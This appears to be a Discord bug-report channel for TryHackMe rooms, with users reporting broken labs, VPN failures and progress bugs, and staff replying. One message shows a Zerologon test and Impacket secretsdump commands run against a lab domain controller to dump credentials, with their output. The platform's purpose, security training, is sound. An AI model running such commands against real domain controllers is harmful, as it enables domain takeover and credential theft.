hello, has anyone had any issues with Vulnversity? I've completed the room previously and now its showing that I still have progress to complete. However looking at the room questions everything is completed.

heres what my dash board shows

[wispy geode]

It's a known bug, they're working on it #1092490706385383524

[steep bluff]

having the same. came here to check for it. Vulnversity not showing as done

[hazy tiger]

#1092490706385383524

[sleek mulch]

WHATS UP WITH THESE flags there all wrong

intro to AV task 5

[main iris]

hello,everyone.i can't connect to the vpn ? why?

2023-05-11 16:45:23 --cipher is not set. Previous OpenVPN version defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2023-05-11 16:45:23 OpenVPN 2.5.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jul 5 2022
2023-05-11 16:45:23 library versions: OpenSSL 3.0.5 5 Jul 2022, LZO 2.10
2023-05-11 16:45:23 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2023-05-11 16:45:23 Incoming Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2023-05-11 16:45:23 TCP/UDP: Preserving recently used remote address: [AF_INET]54.194.161.223:1194
2023-05-11 16:45:23 Socket Buffers: R=[131072->131072] S=[16384->16384]
2023-05-11 16:45:23 Attempting to establish TCP connection with [AF_INET]54.194.161.223:1194 [nonblock]

[quick violet]

can you give some more info on this?

[dull flume]

I seem to have bug on task 4 of https://tryhackme.com/room/zer0logon
I run commands but get outdated python error??

(impacketEnv) root@ip-10-10-86-33:~# python3 zerologon_tester.py DC01 10.10.222.219
Performing authentication attempts...

Success! DC can be fully compromised by a Zerologon attack.

(impacketEnv) root@ip-10-10-86-33:~# python /opt/impacket/examples/secretsdump.py -just-dc -no-pass DC01$@10.10.222.219
/root/impacketEnv/lib/python3.6/site-packages/OpenSSL/_util.py:6: CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team. Therefore, support for it is deprecated in cryptography. The next release of cryptography will remove support for Python 3.6.
from cryptography.hazmat.bindings.openssl.binding import Binding
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[-] init() got an unexpected keyword argument 'ldapFilter'
[*] Cleaning up...

(impacketEnv) root@ip-10-10-86-33:~# python3.9 /opt/impacket/examples/secretsdump.py -just-dc -no-pass DC01$@10.10.222.219
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up...
(impacketEnv) root@ip-10-10-86-33:~#

[barren fulcrum]

Hello everyone!
I have trouble in Credential Harvesting room from task 6
According to room this should be work. But it is not. I have no idea why this happening, I have done what room taught I followed everything one by one, then I stuck at this

[lyric walrus]

hello, is it just me or vulversity is impossible to complete?

[quaint sparrow]

Not impossible, there is a bug, it's in #1092490706385383524

[lyric walrus]

ok 🙂

thanks

sorry i've been out of the loop for a while

[prime crest]

Unable to terminate machine in Relevant room. It will say "terminated", but if I refresh, it then says the machine is still active

[unkempt spindle]

In the room "WindowsServerEventlogs" The commands to pull logs are no longer accurate to the VM attached to the Room. on task 5 the command "Get-WinEvent -Logname Security -FilterXPath '*/EventData/Data[@Name="TargetUsername"]="Sam" and */System/EventID-4720'" is correct for Question 2, but doesn't work in the VM.

[compact finch]

In the room Walking An Application i found a flag that can't be submitted 😄 - literally tried the flag to all input fields and none of them got a "correct flag"
-- When you launch the room, open the network tab in debugger tools and open for example the customers page there is a X-FLAG parameter in the Response Headers. It's a valid flag format THM{xxxxxx_xxxx} - is that a bug or a feature?

[quaint sparrow]

It could be a flag for a different room/question

[placid abyss]

Hey, checkout #room-bugs message

[compact finch]

I'm sorry, I didn't check that one before posting

[placid abyss]

No worries, to answer your question it is a flag for another room that uses the same material

[compact finch]

Thank you

[cloud fossil]

Is it only me who can't seem to load the Vulnversity room webpage when I'm logged in?

I've been here for a while

[quaint sparrow]

Try clearing cookies/cache

[cloud fossil]

I've tried this on different browsers, in private windows each, but the result is the same.

[kind bluff]

Funny someone else is having issues with vulnversity. I am stuck at 95% completed for the room even though all tasks/flags have been completed.

[quaint sparrow]

That's a #1092490706385383524

[kind bluff]

Would have been nice if the ticket i submitted mentioned that. They literally just closed it and said it was resolved.

[uncut nymph]

same here - submitted a bug but it seems like its known about already

[lofty gyro]

"Vuln univeristy" room in pentest+ path isn't showing complete, even after completing it.

[wispy geode]

#1092490706385383524 staff is aware, they're working on it

[summer hare]

Think the vulnversity form complete.js file has a broken link

[quaint sparrow]

Vulnersity is a #1092490706385383524

[lofty gyro]

also when iam opening a section/task in the room it give the view from the end of that task rather than the starting paragraph.

if i am currently in a task, and if i want look into the next task without shrinking the opened task.
then the new task will open with the starting view at the end section of that task and not from the starting paragraph

[wheat fractal]

hello, I have some issues in deploying machine in Investigating with splunk room. Is not opening the right one. How I can access it using the VPN?

[dawn lodge]

#⁠room-bugs Snort task 5 . The script for traffic-generator.sh contains an error.

[hard haven]

thank you, James!

[livid escarp]

Gave +1 Rep to @eternal summit

[tame karma]

The VM in Task 7 of Intro to Docker doesn't start. The split screen never opens. Sometimes a pink message about problems pops up. It's been that way for at least 25 hours

[tawny osprey]

in OSWAP top 10 2021 please make joseph's password reset ignore case. I went through 50 colors then looked up the answer and it's like my 4th answer but it's case sensative :/

[scarlet thistle]

OWASP TOP 10 2021 is new? I've done the total beginner path

but it looks like i have to do it again

[quaint sparrow]

Yes, it's not a bug, it's a brand new room, and replaced the old one in the path

[scarlet thistle]

thanks and cheers !

[rocky badge]

Hi guys and ladies.
I wonder if everything is ok with Linux Privileges Escalation room? Today I started with 'Privileges Escalation: Path' task and see no split screen when I started target machine. It's probably ok if I could connect to target machine from Attack Box however it won't start also (got the message that it still loading).

UPD: it's ok now, probably was some glitch

[flint harness]

Who can I dm to speak about a port in a private room that are closed that should be open. Spoke to the author too and he said the port should be open as well 😅

[quaint sparrow]

This channel.

[flint harness]

Well it's room /developersrus and the port 25 should be open. Seems to be broken atm though

[viscid pike]

Hi I am in the "Wireshark: The Basics" Room and the answer is not showing properly for me (the alien's name). Not sure if it is just for me.

[wheat fractal]

Hello! I am in the FowSniff CTF room and the machine is super slow when I scan open ports It doesn't finish in 1 hour

And the machine keeps freeznig

[lean ridge]

OWASP JUICE SHOP task 7 attached shows it states to go to "headers tab" there actually isnt a headers tab anymore on burpsuite

[tidal island]

Hi. Exploiting Active Directory network is down. I think it goes to sleep but system think it is working.

[fickle roost]

I'm having same problem

[quick violet]

#1092490706385383524

[wheat fractal]

hello

I have 2 tickets opened for the Vulnversity room because it is missing a question and it doesn't let me finish any paths. and both were close by "Jabba" as being resolved although the issue is still present. Is anyone really looking into these bugs?

[quick violet]

#1092490706385383524

[wheat fractal]

thanks, @quick violet . I can't understand why are they marking the ticket as being resolved, not mention anything in the ticket if this is a known issue. 🤦‍♂️

[livid escarp]

Gave +1 Rep to @quick violet

[hazy tiger]

Read my message @wheat fractal

We have over 1000 tickets, as stated in my message, we are closing all active tickets regarding the bug

We can’t keep everyone updated

[wheat fractal]

by the reading your answer @hazy tiger , I'm 99% sure you won't take this as feedback, but I'll try it for that 1% chance: while I understand that you cannot update each ticket individually with a custom message, by closing a ticket as being resolved when it is in fact not resolved signals a complete lack of respect for the person taking their time to report a bug. if you don't have the man power to update each ticket you can leave it open until it is actually fixed. and I know your pain because I to am a developer, a manager, and in this case a paying customer.

and I did read your messages, that is why I was frustrated that the tickets were closed as resolved.

[hazy tiger]

I’m not sure I understand the frustration? If you knew it was going to be closed and marked as resolved regardless of the bug state 🙂

[wheat fractal]

because as a developer myself and a team lead I am not closing a bug report until it is either fixed, no longer a bug due to removed functionality or I am removed from the project. anything else for me means another vulnerability in my project and, as I mentioned previously, a lack of respect for the bug reporter's time. maybe I am one of those dying breeds who actually thinks a bug report status needs to reflect the actual state of the bug. 🙂 🥺

[agile mason]

Might have solved all this by marking it as duplicate if that's an option.

Though you have to also keep in mind that the team is trying their best to maintain the tickets, I am sure it's not just Jason who's handling them, you're talking about ~2M registered users, many of them do open tickets daily so we shall also appreciate their hard work maintain this.

That's just my opinion

[hazy tiger]

I understand that 100%, the problem is that this isn’t a bug ticketing service, it’s a support chat service.

Your support is over when I tell you that the issue has been reported. This is why in my message I state that we can’t keep everyone updated and that your ticket will be closed.

We’re discussing internally how we can better handle site-bugs, I’ll bring this issue up on my next call and see what we can do.

[wheat fractal]

I never intended any disrespect or to minimize anyone's work. I started as a support technician and I know the life pretty well. That also doesn't go against what I was saying. That is why I mentioned this is trying to be a feedback, not shamming.

[wheat fractal]

I appreciate it, @hazy tiger

now I have some closure knowing that someone is still looking into this issue 🙂

[agile mason]

Fair enough 👍

[vivid star]

Hi, in "burpsuiteintruder" Task 12 the GIF isn't correct anymore. Macros are found under settings > sessions > macros instead of the navbar in the main screen.

[rapid mantle]

Hi, I have record my screan because you have some bug with the remote access for the windows laptop where I can send you in oder to explain the pb ?

[raw bison]

You would have to verify first in order to send screenshots in here 🙂

!docs verify

[tropic flame]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[shy roost]

Hello guys,
There is no data in the Splunk 2 Room
https://tryhackme.com/room/splunk2gcd5
I've restarted the machine 2 times but ther is no data

i just restarted it again and now it's fine

[wild quail]

I finished the room but it was not approved

i want certificate . showing 100%.but vulnersity room not solwed. why??

[quaint sparrow]

This is a #1092490706385383524 to the team.

[sand pumice]

https://tryhackme.com/room/introtoshells

In task 7 the imgur image appears to be broken

https://i.imgur.com/UbOPN9q.png

[grave sonnet]

the Sudo Security Bypass lab works ??

┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 tryhackme@10.10.9.118
Connection closed by 10.10.9.118 port 4444

normally it should be open

Can it be from me?

[silk ferry]

Redline room, there are links to IOC Editor, none are working. It seems it was only used til windows 7. Maybe disable link and mention and change it to the new https://fireeye.market/apps/211404 , OpenIOC Editor, working from windows 10

[chrome sequoia]

Hello, I'm on the machine "jumpbox", is that normal that the port 80 is filtered?

[wide nymph]

Hi #room-bugs , it appears VulnNet: Roasted is not available on VPN (works on attack box).

[hazy tiger]

Can you send a screenshot of your OpenVPN output, please?

[wide nymph]

@hazy tiger I think you mean this? I've included the attack box nmap vs local too

(the curl test was junk because it looks like 80 isn't open)

[hazy tiger]

Everything looks fine, can you wait for the nmap scan to finish and see if it returns similar ports at the AttackBox? 🙂

[wide nymph]

so, it already doesn't (you can see the 'host seems down').

[hazy tiger]

Host seems down is a Windows quirk

It doesn't respond to certain tests nmap uses to check if a host is up

Hence why we use -Pn (as per the suggestion) as it skips the host testing phase and goes straight to port testing

Obviously on the AttackBox we don't use this but it's best to wait and see

[wide nymph]

if you see on the screenshot, -Pn wasn't passed on the attackbox nmap scan

ok....

WAIT! It worked now?! 🙂

[hazy tiger]

[wide nymph]

ok, here's the proof. nevermind then, thanks!

[thick stone]

Hey, There is a problem with the "OWASP Top 10 - 2021" Room. For task 17 you need to visit IP:8088. However the website do not really respond. after waiting more than 2 minutes i saw a login screen. When trying to register an account, the website is loading for a long long time. I think something isn't working correctly. I have this issue on both, Attackbox(non subscriber) and from my own machine via. VPN.

Is this because the webserver is trying to resolve google fonts etc. and without subscription there is no internet?

Edit: The same issue applys for Task 22

[wide nymph]

Hey @hazy tiger actually, it does seem broken. Machine stopped responding and I wondered if I'd hit some tripwire so restarted. 30 mins later, still not responding to nmap.

[hazy tiger]

Is it responding on the AttackBox?

[wide nymph]

checking....

Ah, looks like I've hit my daily limit (although, I'm not quite sure how!) so I can't confirm that. I suspect yes (as last time it was when it wasn't over vpn)

[hazy tiger]

One sec

@dusky junco Looks like this machine has the Windows timeout bug?
Looks like the services are coming back as filtered

[wide nymph]

@hazy tiger I think I'll leave it with you and move on to another box for now. Hope you can fix it though as my windows enumeration skills are in need of training! 🙂

Thanks for taking a look 👍

[dusky junco]

Mhhm, i'd expect the machine to be shutting down entirely after an hour if that's the case.

I'll have to have a proper look on our side. Might get a chance to look in the rest of the afternoon 👍

[hazy tiger]

No problem:)

[keen sluice]

I suspect the velociraptor room (/room/velociraptorhp) broke recently. If I do not misunderstand this error, a certificate ran out ~two days ago.

In the attached Windows VM. This error comes up when trying to start velociraptor in the ubuntu shell using the command provided by the text file on the Desktop.

[dusky junco]

Hey @keen sluice I'm aware of this. Done some looking into it, unfortunately it's not a quick fix as I hoped. Setting some time aside next week to look into this. I'm going to set the room to private/adding a note into the room in the meantime as it's currently incompletable. But yup, TLDR, you're right - but it's not a case of simply regenerating the SSL cert unfortunately 😦

[dusky junco]

I've figured out the problem. Need to resolve on our side I won't get a chance until next week likely

cc @midnight pawn

[keen sluice]

Thanks for the quick info, good luck on fixing it.

[livid escarp]

Gave +1 Rep to @dusky junco

[unreal bough]

Room: https://tryhackme.com/room/velociraptorhp isn't working. The certificate has expired for Velociraptor inside the VM.

This is nothing like the image in the room after following the very basic instructions. Please look at the last message and the time error message.

[dusky junco]

Hey @unreal bough I'm working on resolving this 🙂 thanks for the report#room-bugs message

[livid escarp]

Gave +1 Rep to @unreal bough

[unreal bough]

Brilliant, thanks for the very quick response.

[livid escarp]

Gave +1 Rep to @dusky junco

[pallid grove]

Hi Im on the room: Threat Intelligence Tools, task 5, qustion 4, I try to go the website CyberChef but its not go to website[I connect with the VPN and on the mchine the internet its not working I try to locate the CyberChef on the machine but its not there
How I can solve it?

[eternal summit]

This is not really a bug with the room
Only subscribers have internet access from their attackboxes

[rugged canyon]

it is not an attackbox james

it is a split view target machine

so yeah it should never have internet access

[eternal summit]

Open a new browser tab. Use Copy/paste.

[rugged canyon]

the problem is there is no local copy of cyberchef so to solve said question you have to copy a kinda "sketchy" ip out of the target machine and into your hosts copy of cyber chef

as you are handling emails with known malicious files in this room

if you can't see how that could be bad and cause problems shadow dunno what to tell you james

[hazy tiger]

What's wrong with copying and pasting an IP address?

You're not going to get hacked by having a string of numbers in your copy list

[rugged canyon]

when the ip has been used to serve malware in the past????

[hazy tiger]

IP addresses are reused all the time

There's nothing wrong with copying and pasting an IP address into cyberchef

[rugged canyon]

oh okay then

just think it might be setting a dangerous precedent that people will try and also copy the eml files containing the malware of the target machine if they have to copy the ip off the target machine

[eternal summit]

That's literally the slippery slope fallacy

[rugged canyon]

well yeah probably

[smoky lynx]

Room Linux Modules, task 7, images are missing.

[rugged canyon]

seems like that might be the issue that we already have with imgur links but not sure

[sleek mulch]

Blaster windows machine problem. There is no search history on that windows machine's browser. So how can i find the CVE details to go forward?

[inner hull]

Room url: https://tryhackme.com/room/redteamcapstonechallenge
Issue: Task 2, link to TheReserve Swift mistyped and not working as is
Desc: The link contains a semi-colon in the end, and doesn't work directly. Easily fixed, though not working as intended.

[chrome sequoia]

Hello, I wonder if the machine JUMPBOX is broken, I can't access the port 80 for some reason, is that normal?

[pallid grove]

first, thank you about replay to me, I`m sorry I just respond to you now,

Well, I have a membership in THM, and its the first time I dont have internet in the machine, and like @rugged canyon said, I split the screen, I should to connect to the machine through VMware?

[livid escarp]

Gave +1 Rep to @eternal summit

[pallid grove]

I tried it and it`s not working

and well, it`s not working, so I think I found bug or something else

[pallid grove]

but how I will copy IP address?
when you get email, you see email address, not IP address 😐

[pallid grove]

so are you want I will copy the file, to clipboard, and then I pasting the file in my machine in cyberchef

so I try it, and it`s copy the path file, and not the file.

[hazy tiger]

Please disable pinging when replying to messages I've sent 🙂

[pallid grove]

@eternal summit @hazy tiger @rugged canyon
so the short answer I need to google about the answer, not to learning and just get the answer from someone else did it and post the answers?

I don`t like to learn in this way>.>

[hazy tiger]

Alright, stop pinging me

[pallid grove]

ok

[rugged canyon]

https://media.discordapp.net/attachments/692456966802374687/921063860318924800/clipboard.gif

[pallid grove]

you take part it so sorry

[eternal summit]

I didn't say that.

[pallid grove]

well I choose copy

I go to clipboard and get the path

[rugged canyon]

.... you open the .eml file in thunderbird....
you open the view source part...
you mark out the ip....
you right click and click copy....
you open the box that you opened called clipboard....
you copy the ip....
you go on your host and open cyberchef....
you paste in the ip in the input field...
you use the defang option...
TADA

[pallid grove]

its not so TADA if in the task discus about something, and in the machine its not there

but I think I get it

I will ask my qustion in #room-help

[eternal summit]

@pallid grove This is not a room bug, please use #room-help for help with rooms and only post here when you're sure there's a bug.

[pallid grove]

James I understand, someone from the admins said to post here,
before I post here I post in #room-help , and from there said to post here.

[eternal summit]

@pallid grove Shadow is not an admin and shouldn't have guided you here for this.

[rugged canyon]

shadow did an opsie by beliving in a fallacy for this room and therefor redirected it here

[eternal summit]

Where you provided help above, that should have been in #room-help

[rugged canyon]

also true

[fervent hamlet]

Room URL: https://tryhackme.com/room/exploitingad
Summary: Service not starting

Hi, I'm encountering an issue from Exploiting AD room using my Kali box. It is unable to resolve the domain name thmserver2.za.tryhackme.loc.

Additional Notes:

Here are the troubleshooting steps I have taken so far:

1. Followed the instructions provided in the room:
   a) Changed the DNS server to THMChildDC IP.
   b) Restarted the network interface.
   c) Tried using nslookup, but it did not work.

2. All target IP addresses are pingable, but their domains are not.

3. Tried changing the DNS server using nmtui and removed the public DNS (e.g., 1.1.1.1), leaving only the THMChildDC IP to force the domain to resolve using THMCHILDDC. However, neither of these steps resolved the issue.

4. Restarted both my PC and the laboratory environment.

5. Regenerated the VPN profile.

6. As a sanity check, I followed the same instructions in other rooms such as breaching AD, Enumerating AD, and lateral movement, and did not encounter any problems.

[quaint sparrow]

If you restart the network interface, you'll reser the /etc/resolv.conf

[chilly valve]

Hello, the room "Jumpbox" seems to be broken. Only 22 port is open.

[fervent hamlet]

Well, it's weird, but editing the resolv.conf didn't solve the issue. However, after editing the resolv.conf and then restarting the interface, my issue was resolved. Thank you! I have been troubleshooting this issue since yesterday, LOL.

[livid escarp]

Gave +1 Rep to @quaint sparrow

[quaint sparrow]

Let's blame DNS

[fervent hamlet]

~~It's always DNS! LOL ~~

[silk ferry]

Hello, Thanks you for all your work, sorry to ask that, but any update on the velociraptor bug? (only room missing for my SOC lvl1 ^^)?

[livid escarp]

Gave +1 Rep to @dusky junco

[dusky junco]

Hey there, I should have an update within the next couple of hours. Working on it! 😁

[dusky junco]

Hey! Pleased to say I've attached a new working VM to Task 2 of the Velociraptor room. Sorry for the delay - it wasn't a quick fix.

I've put in steps to prevent this in the future 🙂

cc @silk ferry @mighty lynx @wheat fractal @keen sluice @unreal bough @hardy zealot

[mighty lynx]

Thanks!

[wheat fractal]

@dusky junco Merci !

[unreal bough]

Thank you Cmnatic! now I can finish the SOC 1 path 😄

[livid escarp]

Gave +1 Rep to @dusky junco

[unreal bough]

This is for the Velociraptor room Task 5. Subtask 4 "There is hidden text in a file located in the Admin's Documents folder. What is the flag?"
Someones talking in the #room-help but it also might be a bug. I'm not 100% sure how ADS works in NTFS but I followed the instructions. I'm looking in the NTFS accessor and I don't see a file in the admins documents. I've clicked the recursive documents sync button a few times with no luck.
Spoiler waning below for the location (but if you follow the instructions the picture gives you basically the same information)

[radiant patrol]

What’s up with the 504 error in the Web Fundamentals Path? I can’t access the URL on my VM for ‘Walking An Application.’

[quaint sparrow]

You're accessing the wrong IP

You need to start the machine in Task 1 or 3.

[radiant patrol]

Yeah, started the machine in task 1. I used it for task 3 and 4 but it got stuck in task 5. I’ve tried restarting, same error. 🥲

[quaint sparrow]

Can you verify and take a screenshot please.

!docs verify

[tropic flame]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[radiant patrol]

Let me shut it down completely and try from the start.

Thanks @quaint sparrow

Apparently it was the IP. It hadn’t refreshed from my last session so I started to THM site afresh and was assigned a new IP.

[livid escarp]

Gave +1 Rep to @quaint sparrow

[quaint sparrow]

Good, happy hacking.

[scarlet thistle]

hello still cant validate the comptia+ path, is it normal I guess ?

[dry valley]

https://tryhackme.com/room/rppsempire
two things: 1. empire is deprecated 2. imgur links are broken

[lyric crag]

Hi, I keep getting the error connect: Network Unreachable, when I try to whois facebook.com, I'm unsure how I'm supposed to answer the following questions, is it a fault on my part or?

Room URL: https://tryhackme.com/room/introtonetworking

[eternal summit]

Unless you're a subscriber, the attackbox does not have internet